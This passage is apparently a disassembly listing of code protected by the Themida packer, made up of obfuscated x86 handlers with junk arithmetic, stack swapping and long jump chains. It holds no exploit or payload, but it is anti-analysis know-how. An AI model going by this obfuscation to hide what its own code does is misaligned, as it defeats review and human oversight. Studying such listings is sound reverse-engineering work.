; ---------------------------------------------------------------------------


loc_555599:				; CODE XREF: sub_559C84+4014j
		inc	ebp
		xor	ebp, 5E9E711Fh
		xor	edx, ebp
		jmp	loc_55EEA2
; ---------------------------------------------------------------------------


loc_5555A7:				; CODE XREF: sub_559C84-52C6j
		add	edx, esi
		sub	edx, 296C7ECCh
		mov	esi, [esp+42h+var_42]
		add	esp, 4
		push	edx
		jmp	loc_55899E
; ---------------------------------------------------------------------------


loc_5555BB:				; CODE XREF: sub_559C84+15A6j
		push	[esp+42h+var_3E]
		pop	ebp
		pop	[esp+42h+var_42]
		mov	esp, [esp+3Eh+var_3E]
		mov	ax, word ptr [esp+3Eh+var_3E]
		push	esi
		jmp	loc_55DFB8
; ---------------------------------------------------------------------------


loc_5555D0:				; CODE XREF: sub_559C84+1A75j
		pop	ebx
		jmp	loc_559107
; ---------------------------------------------------------------------------


loc_5555D6:				; CODE XREF: sub_559C84+10ABj
		mov	edi, esi
		push	[esp+3Eh+var_3E]
		jmp	loc_55EC3D
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_5555E0	proc near		; CODE XREF: sub_559C84+28CCj
		push	ebp
		jmp	loc_55C454
sub_5555E0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5555E6:				; CODE XREF: sub_559C84+4B7Dj
		push	edx
		mov	edx, 2FE90E26h
		not	edx
		push	ebx
		mov	ebx, 3C834709h
		add	edx, ebx
		jmp	loc_554FF3
; ---------------------------------------------------------------------------


loc_5555FB:				; CODE XREF: sub_559C84-503Ej
		xor	eax, [esp+52h+var_52]
		pop	esp
		rol	word ptr [esp+4Eh+var_4E], cl
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_555609:				; CODE XREF: sub_559C84+38A3j
		or	ch, 0E6h
		add	ch, 0FEh
		mov	ah, ch
		pop	ecx
		and	bh, ah
		pop	eax
		add	bh, 39h
		mov	ch, bh
		mov	ebx, [esp+4Ah+var_4A]
		add	esp, 4
		xor	al, ch
		pop	cx
		sub	esp, 4
		jmp	loc_5560B5
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_555632:				; CODE XREF: Themida_:0055579Cj
		pop	si
		xor	si, 7191h
		pop	ax
		jmp	loc_553A6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_555640:				; CODE XREF: sub_559C84+2115j
		add	eax, 243A0F4Fh
		sub	eax, 36456E8Ch
		jmp	loc_553E74
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55564F:				; CODE XREF: Themida_:0055E93Bj
		mov	[esp], edi
		jmp	loc_55394A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_555657:				; CODE XREF: sub_559C84+446Aj
		sub	bl, 51h
		push	ax
		mov	al, 0DBh
		sub	bl, 0B6h
		sub	bl, al
		add	bl, 0B6h
		pop	ax
		add	bl, 0AEh
		sub	bl, 13h
		jmp	loc_553900
; ---------------------------------------------------------------------------


loc_555673:				; CODE XREF: sub_559C84+1B1Bj
		mov	[esp+48h+var_4A+2], esi
		mov	esi, 11B91312h
		mov	ebx, 22B2B05Ah
		add	ebx, 2F226792h
		push	esi
		mov	esi, 9DC38EDh
		neg	esi
		sub	esi, 229E5834h
		inc	esi
		jmp	loc_55981F
; ---------------------------------------------------------------------------


loc_55569A:				; CODE XREF: sub_559C84+5664j
		add	bl, 0DCh
		jmp	loc_557656
; ---------------------------------------------------------------------------


loc_5556A2:				; CODE XREF: sub_559C84+459Aj
		push	[esp+4Ch+var_4E+2]
		pop	ebx
		jmp	loc_556519
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_55EA18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5556B1:				; CODE XREF: sub_559C84-22Dj
		add	[esp+4Ch+var_4E+2], 4
		pop	edi
		add	edi, 4
		push	edx
		push	ecx
		mov	ecx, 4
		push	ecx
		jmp	loc_555AD9
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_5556C9	proc near		; CODE XREF: sub_559C84+D87j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_55A22F
sub_5556C9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5556DF:				; CODE XREF: sub_559C84+3EB9j
		pop	esi
		jmp	loc_55DD31
; ---------------------------------------------------------------------------


loc_5556E5:				; CODE XREF: sub_559C84-3450j
		mov	ecx, 264071FDh
		jmp	loc_55F28F
; ---------------------------------------------------------------------------


loc_5556EF:				; CODE XREF: sub_559C84-1121j
		pop	edi
		add	eax, ecx
		pop	ecx
		shl	eax, 4
		or	eax, 66CC75D8h
		add	eax, 4E1B0D78h
		mov	ebp, eax
		jmp	loc_55CB22
; ---------------------------------------------------------------------------


loc_555707:				; CODE XREF: sub_559C84+47C5j
		add	esp, 4
		shl	bh, 5
		shl	bh, 8
		push	ecx
		push	eax
		jmp	loc_55C809
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55571A:				; CODE XREF: Themida_:005543EBj
		xor	bl, 0A1h
		sub	bl, 1
		sub	bl, 39h
		jmp	loc_55C13E
; ---------------------------------------------------------------------------


loc_555728:				; CODE XREF: Themida_:00557073j
		mov	eax, [esp]
		add	esp, 4
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		jmp	loc_55D6D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_555744:				; CODE XREF: sub_559C84+580Dj
		add	ecx, 14ED3850h
		jmp	loc_553ECB
; ---------------------------------------------------------------------------


loc_55574F:				; CODE XREF: sub_559C84+53BEj
		pop	ecx
		mov	eax, [esp+48h+var_4A+2]
		jmp	loc_557639
; ---------------------------------------------------------------------------


loc_555758:				; CODE XREF: sub_559C84+3133j
		mov	ebx, 3AE41DCAh
		sub	ebx, 61971490h
		jmp	loc_55A72C
; ---------------------------------------------------------------------------


loc_555768:				; CODE XREF: sub_559C84+CC8j
		add	ebp, 4
		xchg	ebp, [esp+48h+var_4A+2]
		pop	esp
		shr	eax, 18h
		xor	eax, ecx
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		push	55F7h
		mov	[esp+48h+var_4A+2], ebx
		not	[esp+48h+var_4A+2]
		mov	ebx, [esp+48h+var_4A+2]
		jmp	loc_55A748
; ---------------------------------------------------------------------------


loc_555790:				; CODE XREF: sub_559C84+F25j
		pop	ebx
		jmp	loc_55586C
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_555796:				; CODE XREF: Themida_:005588E9j
		xor	word ptr [esp],	7191h
		jmp	loc_555632
; ---------------------------------------------------------------------------


loc_5557A1:				; CODE XREF: Themida_:00558835j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_55351F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5557B0:				; CODE XREF: sub_559C84-3B0j
		push	edx
		mov	edx, 4B34268h
		add	eax, edx
		pop	edx
		add	eax, ebp
		jmp	loc_55A319
; ---------------------------------------------------------------------------


loc_5557C0:				; CODE XREF: sub_559C84+3911j
		mov	[esp+44h+var_46+2], edx
		jmp	loc_553BD3
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_55DE7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55929E


loc_5557D1:				; CODE XREF: sub_55929E+19j
		push	dword ptr [esp+4]
		jmp	loc_55768B
; END OF FUNCTION CHUNK	FOR sub_55929E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5557DA:				; CODE XREF: sub_559C84+209Aj
		add	eax, ebp
		pop	ebp
		pop	ebx
		push	edi
		jmp	loc_55B9A1
; ---------------------------------------------------------------------------


loc_5557E4:				; CODE XREF: sub_559C84-29A3j
		push	ecx
		push	1207254Fh
		pop	ecx
		push	eax
		jmp	loc_554E60
; ---------------------------------------------------------------------------


loc_5557F1:				; CODE XREF: sub_559C84+1EA6j
		pop	ecx
		and	edi, 23472E15h
		shr	edi, 8
		shr	edi, 4
		add	edi, 27B704A8h
		and	edx, edi
		pop	edi
		shl	edx, 5
		jmp	loc_553679
; ---------------------------------------------------------------------------


loc_55580F:				; CODE XREF: sub_559C84-5736j
		sub	al, 79h
		sub	al, 8Fh
		jmp	loc_55D3F3
; ---------------------------------------------------------------------------


loc_555818:				; CODE XREF: sub_559C84+3C46j
		mov	[esp+30h+var_30], ecx
		mov	ecx, eax
		mov	edx, ecx
		jmp	loc_55DDAD
; ---------------------------------------------------------------------------


loc_555824:				; CODE XREF: sub_559C84+15ACj
		push	edi
		mov	edi, 7FE5FA3h
		or	edi, 5576264Dh
		jmp	loc_55B358
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_555835	proc near		; CODE XREF: sub_559C84-121Aj

var_4		= dword	ptr -4

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		push	ecx
		push	esp
		pop	ecx
		push	ebx
		mov	ebx, 73CB38D4h
		shr	ebx, 3
		inc	ebx
		or	ebx, 20A72560h
		jmp	loc_55B3EF
sub_555835	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55585D:				; CODE XREF: sub_559C84+3A30j
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_555862:				; CODE XREF: sub_559C84-54Bj
		add	eax, 4
		jmp	loc_558EC7
; ---------------------------------------------------------------------------


loc_55586C:				; CODE XREF: sub_559C84-44F3j
		xchg	edi, [esp+44h+var_46+2]
		pop	esp
		jmp	loc_55C4C5
; ---------------------------------------------------------------------------


loc_555875:				; CODE XREF: sub_559C84-5E15j
		xor	edx, 41383D49h
		shr	edx, 8
		sub	edx, 8B3D94h
		add	ebp, 3F236D22h
		add	ebp, edx
		sub	ebp, 3F236D22h
		pop	edx
		push	ebx
		mov	ebx, 370B776Eh
		push	edx
		mov	edx, 34441B7Eh
		dec	edx
		shr	edx, 5
		jmp	loc_55BF40
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_5558A8:				; DATA XREF: Themida_:00553264o
		lodsw
		push	si
		push	ax
		jmp	loc_5588E3

; =============== S U B	R O U T	I N E =======================================



sub_5558B3	proc near		; CODE XREF: sub_559C84-3164j

var_4		= dword	ptr -4

		push	ebp
		neg	[esp+4+var_4]
		pop	ebp
		jmp	loc_55D4E3
sub_5558B3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5558BD:				; CODE XREF: sub_559C84+36A2j
		mov	eax, [esp+4+var_4]
		push	5ADh
		mov	[esp+8+var_8], eax
		jmp	loc_55EFC4
; ---------------------------------------------------------------------------


loc_5558CD:				; CODE XREF: sub_559C84-109Ej
		mov	esi, esp
		jmp	loc_559672
; ---------------------------------------------------------------------------


loc_5558D4:				; CODE XREF: sub_559C84+3ACDj
		inc	dh
		sub	esp, 4
		mov	[esp+0Ch+var_C], eax
		mov	al, 3
		jmp	loc_55710F
; ---------------------------------------------------------------------------


loc_5558E3:				; CODE XREF: sub_559C84+2981j
		xor	eax, 5DA2014Ah
		jmp	loc_55E014
; ---------------------------------------------------------------------------


loc_5558ED:				; CODE XREF: sub_559C84-480Cj
		xor	edx, [esp+44h+var_46+2]
		xor	[esp+44h+var_46+2], edx
		jmp	loc_55C60A
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559A2E


loc_5558F8:				; CODE XREF: sub_559A2E-240Aj
		add	edi, 4
		xchg	edi, [esp+4+var_4]
		pop	esp
		add	al, bh
		push	dword ptr [esp+0]
		pop	ebx
		jmp	loc_5585C0
; END OF FUNCTION CHUNK	FOR sub_559A2E

; =============== S U B	R O U T	I N E =======================================



sub_55590A	proc near		; CODE XREF: sub_559C84+3B35j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00553EA1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00556BC7 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00556F58 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00557588 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005577D4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00558F74 SIZE 0000000D BYTES

		push	ebp
		push	1360h
		jmp	loc_553EA1
sub_55590A	endp

; ---------------------------------------------------------------------------


loc_555915:				; CODE XREF: Themida_:0055443Ej
		pop	esp
		jmp	loc_55470E
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55A532
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55592C:				; CODE XREF: sub_559C84+2B6Cj
		sub	ebx, ecx
		pop	ecx
		pop	dword ptr [eax]
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_555936:				; CODE XREF: sub_559C84-505Ej
		xor	[esp+46h+var_46], ebx
		xor	ebx, [esp+46h+var_46]
		mov	esp, [esp+46h+var_46]
		xor	[esp+46h+var_46], eax
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_555947:				; CODE XREF: sub_559C84-5977j
		add	edi, 65CCB13Fh
		jmp	loc_555978
; ---------------------------------------------------------------------------


loc_555952:				; CODE XREF: sub_559C84-352j
		sub	eax, 2
		xchg	eax, [esp-10h+arg_C]
		jmp	loc_5596F7
; ---------------------------------------------------------------------------


loc_55595D:				; CODE XREF: sub_559C84-2620j
		pop	edx
		jmp	loc_559D02
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_555963:				; CODE XREF: Themida_:00555BCAj
		add	ebx, 2
		push	ebx
		jmp	loc_5547A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55596C:				; CODE XREF: sub_559C84-5772j
		mov	dl, 59h
		jmp	loc_556242
; ---------------------------------------------------------------------------


loc_555973:				; CODE XREF: sub_559C84+298Ej
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_555978:				; CODE XREF: sub_559C84-4337j
		sub	edx, edi
		pop	edi
		jmp	sub_557739
; ---------------------------------------------------------------------------


loc_555980:				; CODE XREF: sub_559C84+2A9Aj
		pop	esi
		xor	ebp, ecx
		mov	ecx, [esp-18h+arg_14]
		jmp	loc_55DBD6
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_55598B	proc near		; CODE XREF: sub_559C84-4ABEj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00559619 SIZE 00000007 BYTES

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		push	ebx
		mov	ebx, 32873E6Bh
		push	ebp
		push	eax
		mov	eax, 74AF229Eh
		mov	ebp, offset word_577E4A
		jmp	loc_559619
sub_55598B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5559B2:				; CODE XREF: sub_559C84-3E5Aj
		add	edx, 4
		add	edx, 4
		push	edx
		jmp	loc_559835
; ---------------------------------------------------------------------------


loc_5559C4:				; CODE XREF: sub_559C84+42D5j
		add	eax, 72B606F7h
		jmp	loc_55B305
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55702F


loc_5559CE:				; CODE XREF: sub_55702F-31C8j
		add	esp, 4


loc_5559D1:				; CODE XREF: sub_559C84-2E39j
		push	2371h
		mov	[esp+0], ebx
		push	dword ptr [esp+0]
		mov	eax, [esp+4+var_4]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		jmp	loc_55B604
; END OF FUNCTION CHUNK	FOR sub_55702F

; =============== S U B	R O U T	I N E =======================================



sub_5559F0	proc near		; DATA XREF: Themida_:00553444o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055692A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00557294 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00558A46 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055E89E SIZE 00000008 BYTES

		mov	cx, [esp+0]
		push	6661h
		mov	[esp+4+var_4], edi
		jmp	loc_55692A
sub_5559F0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_555A01:				; CODE XREF: sub_559C84-5780j
		mov	edi, 3A3107E8h
		not	edi
		xor	edi, 658C028Ah
		or	edi, 2D130F47h
		sub	edi, 3062E639h
		sub	edx, 356554BDh
		add	edx, edi
		add	edx, 356554BDh
		pop	edi
		add	edx, 7F2F56FCh
		push	dword ptr [edx]
		mov	eax, [esp+30h+var_30]
		add	esp, 4
		pop	edx
		push	1E09h
		mov	[esp+2Ch+var_2C], eax
		mov	eax, 18AF0AEBh
		add	eax, 0ED18F8F2h
		add	edx, eax
		pop	eax
		sub	edx, 1A2065DBh
		add	edx, eax
		add	edx, 1A2065DBh
		sub	esp, 4
		mov	[esp+2Ch+var_2C], esi
		push	eax
		jmp	loc_55E908
; ---------------------------------------------------------------------------


loc_555A67:				; CODE XREF: sub_559C84-625Aj
		mov	[esp+4Ah+var_4A], ebx
		push	[esp+4Ah+var_4A]
		pop	ebx
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		sub	ebp, 4
		push	ebp
		push	[esp+52h+var_4E]
		pop	ebp
		pop	[esp+52h+var_52]
		pop	esp
		mov	[esp+4Ah+var_4A], edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		push	eax
		mov	eax, 685C18F9h
		add	eax, 97A3E70Bh
		mov	ecx, eax
		pop	eax
		add	edx, ecx
		mov	ecx, [esp+4Eh+var_4E]
		add	esp, 4
		jmp	loc_55B8FE
; ---------------------------------------------------------------------------


loc_555AB1:				; CODE XREF: sub_559C84-2561j
		mov	eax, 213B1A36h
		add	ebx, eax
		pop	eax
		push	eax
		jmp	loc_55B056
; ---------------------------------------------------------------------------


loc_555ABF:				; CODE XREF: sub_559C84+32BDj
		shl	edx, 1
		push	1F8Bh
		mov	[esp+4Eh+var_4E], ebx
		sub	esp, 4
		mov	[esp+52h+var_52], eax
		mov	eax, 2EC315Bh
		jmp	loc_5577F6
; ---------------------------------------------------------------------------


loc_555AD9:				; CODE XREF: sub_559C84-45C0j
		pop	edx
		pop	ecx
		sub	edi, 8C3F60h
		add	edi, edx
		add	edi, 8C3F60h
		pop	edx
		push	edi
		push	[esp+4Ch+var_4A+2]
		jmp	loc_5567F8
; ---------------------------------------------------------------------------


loc_555AF4:				; CODE XREF: sub_559C84+1E61j
		push	13F6h
		mov	[esp+0], eax
		mov	eax, 69CF26B0h
		jmp	loc_55B1D2
; ---------------------------------------------------------------------------


loc_555B06:				; CODE XREF: sub_559C84-2A5Dj
		sub	ecx, 19CC313Fh
		add	ecx, 41599D0Fh
		mov	edx, ecx
		pop	ecx
		shr	edx, 3
		jmp	loc_55C325
; ---------------------------------------------------------------------------


loc_555B1D:				; CODE XREF: sub_559C84+36B3j
		sub	ecx, edx
		add	ecx, 31552C01h
		pop	edx
		sub	eax, 46673F11h
		sub	eax, ecx
		add	eax, 46673F11h
		mov	ecx, [esp+4Ch+var_4E+2]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_5554AD
; ---------------------------------------------------------------------------


loc_555B43:				; CODE XREF: sub_559C84+4974j
		pop	ebp
		mov	ecx, [esp+4Ch+var_4E+2]
		add	esp, 4
		push	esi
		mov	esi, 59665858h
		jmp	loc_556631
; ---------------------------------------------------------------------------


loc_555B58:				; CODE XREF: sub_559C84+3E1Cj
		xchg	esi, [esp+4Ch+var_4E+2]
		pop	esp


loc_555B5C:				; CODE XREF: sub_559C84-5136j
		push	991h
		mov	[esp+4Ch+var_4E+2], ecx
		push	3F9h
		mov	[esp+50h+var_52+2], ebx
		jmp	loc_5550A0
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_555B71:				; CODE XREF: Themida_:00554785j
		mov	ebp, esp
		push	edx
		jmp	loc_5541A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_555B79:				; CODE XREF: sub_559C84-1CDAj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	[esp+58h+var_58]
		pop	esp
		mov	edi, [esp+50h+var_52+2]
		jmp	loc_55BCE9
; ---------------------------------------------------------------------------


loc_555B98:				; CODE XREF: sub_559C84-50EAj
		xor	[esp+48h+var_4A+2], ecx
		xor	ecx, [esp+48h+var_4A+2]
		mov	esp, [esp+48h+var_4A+2]
		mov	[esp+48h+var_4A+2], ebx
		mov	eax, [esp+48h+var_4A+2]
		add	esp, 4
		push	4308h
		mov	[esp+48h+var_4A+2], edx
		sub	esp, 4
		jmp	loc_557043
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_555BBA:				; CODE XREF: Themida_:00559580j
		sub	dword ptr [esp+4], 19DF7D97h
		pop	ebx
		pop	ebx
		add	ebx, 4
		jmp	loc_555963
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_555BCF:				; CODE XREF: sub_559C84+2C72j
		push	eax
		mov	eax, 29725031h
		xor	esi, eax
		pop	eax
		xor	ecx, esi
		pop	esi
		xor	esi, ecx
		pop	ecx
		jmp	loc_55B39D
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_555BE3	proc near		; CODE XREF: sub_559C84+2DF6j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= word ptr  8

; FUNCTION CHUNK AT 0055493F SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0055634B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055752D SIZE 00000039 BYTES
; FUNCTION CHUNK AT 00557782 SIZE 00000052 BYTES
; FUNCTION CHUNK AT 00558253 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055914E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055DD59 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055ECCC SIZE 0000001D BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		push	73C0h
		jmp	loc_55914E
sub_555BE3	endp

; ---------------------------------------------------------------------------
		lodsb
		sub	esp, 4
		jmp	loc_55A527
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_555BFC:				; CODE XREF: sub_559C84+102Fj
		push	edi
		push	edx
		mov	edx, 3F325C34h
		push	ecx
		mov	ecx, 7C8C72F2h
		inc	ecx
		add	ecx, 0E6CACB15h
		xor	edx, ecx
		pop	ecx
		mov	edi, edx
		pop	edx
		jmp	loc_554B32
; ---------------------------------------------------------------------------


loc_555C1B:				; CODE XREF: sub_559C84-5E75j
		sub	edi, ecx
		pop	ecx
		inc	edi
		shl	edi, 2
		shl	edi, 6
		push	esi
		mov	esi, 0C636304h
		xor	edi, esi
		pop	esi
		add	eax, edi
		jmp	loc_55E890
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_555C35	proc near		; CODE XREF: sub_559C84+3991j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005587AD SIZE 0000001F BYTES

		push	ebx
		jmp	loc_5587AD
sub_555C35	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_555C3B:				; CODE XREF: sub_559C84+3061j
		mov	edx, [esp+0]
		jmp	loc_55AC12
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_555C43:				; CODE XREF: Themida_:00557017j
		push	small 2978h
		mov	[esp], ax
		jmp	loc_55351F

; =============== S U B	R O U T	I N E =======================================



sub_555C50	proc near		; DATA XREF: Themida_:00553430o

var_2		= word ptr -2

		movzx	ax, byte ptr fs:[edx]
		push	small 4117h
		mov	[esp+2+var_2], ax
		jmp	loc_55351F
sub_555C50	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_555C62:				; CODE XREF: sub_559C84+DB7j
		mov	ebp, 269B7BB4h
		and	edx, ebp
		mov	ebp, [esp+0]
		jmp	loc_55FBF1
; ---------------------------------------------------------------------------


loc_555C71:				; CODE XREF: sub_559C84-5758j
		mov	ebx, [esp+30h+var_30]
		add	esp, 4
		sub	al, dh
		pop	edx
		add	al, 66h
		add	al, 0D4h
		inc	al
		sub	al, 75h
		mov	bl, al
		jmp	loc_557BE3
; ---------------------------------------------------------------------------


loc_555C8C:				; CODE XREF: sub_559C84-6229j
		sub	edx, 795140F7h
		pop	ebx
		xor	edx, [esp+46h+var_46]
		xor	[esp+46h+var_46], edx
		xor	edx, [esp+46h+var_46]
		pop	esp
		inc	word ptr [esp+42h+var_42]
		pushf
		jmp	loc_553700
; ---------------------------------------------------------------------------


loc_555CA7:				; CODE XREF: sub_559C84+3D1j
		add	esp, 4
		xchg	ebp, [esp+42h+var_42]
		pop	esp
		mov	[esp+3Eh+var_3E], esi
		mov	esi, 788A2764h
		add	edi, esi
		pop	esi
		xor	edi, 0A86F769Fh
		xor	eax, edi
		push	[esp+3Ah+var_3A]
		jmp	loc_55E480
; ---------------------------------------------------------------------------


loc_555CC9:				; CODE XREF: sub_559C84-4FA7j
		sub	ebx, ecx
		mov	ecx, [esp+56h+var_58+2]
		add	esp, 4
		sub	ebx, 360F7678h
		sub	ebx, eax
		add	ebx, 360F7678h
		push	eax
		mov	eax, 56447FA9h
		jmp	loc_5541C1
; ---------------------------------------------------------------------------


loc_555CED:				; CODE XREF: sub_559C84+436Dj
		pop	eax
		mov	ebx, [esp+52h+var_52]
		jmp	loc_55F0B5
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_555CF6	proc near		; DATA XREF: Themida_:0055343Co

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055F816 SIZE 0000001D BYTES

		mov	ax, [esp+0]
		jmp	loc_55F816
sub_555CF6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_555CFF:				; CODE XREF: sub_559C84+25EBj
		mov	[esp+52h+var_52], eax
		jmp	loc_55351F
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_555D07	proc near		; DATA XREF: Themida_:00553468o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005586E7 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0055DC42 SIZE 0000001C BYTES

		mov	cx, [esp+0]
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		jmp	loc_55DC42
sub_555D07	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_555D19:				; CODE XREF: sub_559C84-11E2j
		pop	edx
		jmp	loc_555E4D
; ---------------------------------------------------------------------------


loc_555D1F:				; CODE XREF: sub_559C84-D29j
		shl	ebx, 8
		push	ecx
		mov	ecx, 5D16BB04h
		jmp	loc_55D185
; ---------------------------------------------------------------------------


loc_555D2D:				; CODE XREF: sub_559C84-2036j
		mov	dl, 0DFh
		sub	cl, dl
		jmp	loc_55352D
; ---------------------------------------------------------------------------


loc_555D36:				; CODE XREF: sub_559C84+764j
		mov	ecx, [esp+52h+var_52]
		jmp	loc_554102
; ---------------------------------------------------------------------------


loc_555D3E:				; CODE XREF: sub_559C84-633j
		mov	dx, word ptr [esp+52h+var_52]
		sub	esp, 4
		mov	[esp+56h+var_58+2], esi
		mov	esi, esp
		sub	esp, 4
		jmp	loc_55B5E9
; ---------------------------------------------------------------------------


loc_555D55:				; CODE XREF: sub_559C84-3798j
		mov	[esp+5Ah+var_5C+2], edx
		not	[esp+5Ah+var_5C+2]
		pop	edx
		xchg	edx, [esp+56h+var_58+2]
		mov	eax, [esp+56h+var_58+2]
		add	esp, 4
		push	3B7Ah
		mov	[esp+56h+var_58+2], ebp
		push	56ACh
		mov	[esp+5Ah+var_5C+2], edx
		push	7EE7h
		mov	[esp+5Eh+var_60+2], ecx
		push	625604DFh
		pop	ecx
		jmp	loc_55721C
; ---------------------------------------------------------------------------


loc_555D8B:				; CODE XREF: sub_559C84+346Ej
		pop	esp
		and	ecx, ebp
		pop	ebp
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp+5Eh+var_60+2], edi
		jmp	loc_55AD4E
; ---------------------------------------------------------------------------


loc_555DA3:				; CODE XREF: sub_559C84+2B19j
		sub	edx, 2651AAFh
		add	edx, edi
		push	esi
		mov	esi, 2651AAFh
		add	edx, esi
		pop	esi
		add	dword ptr [edx], 1
		pop	edx


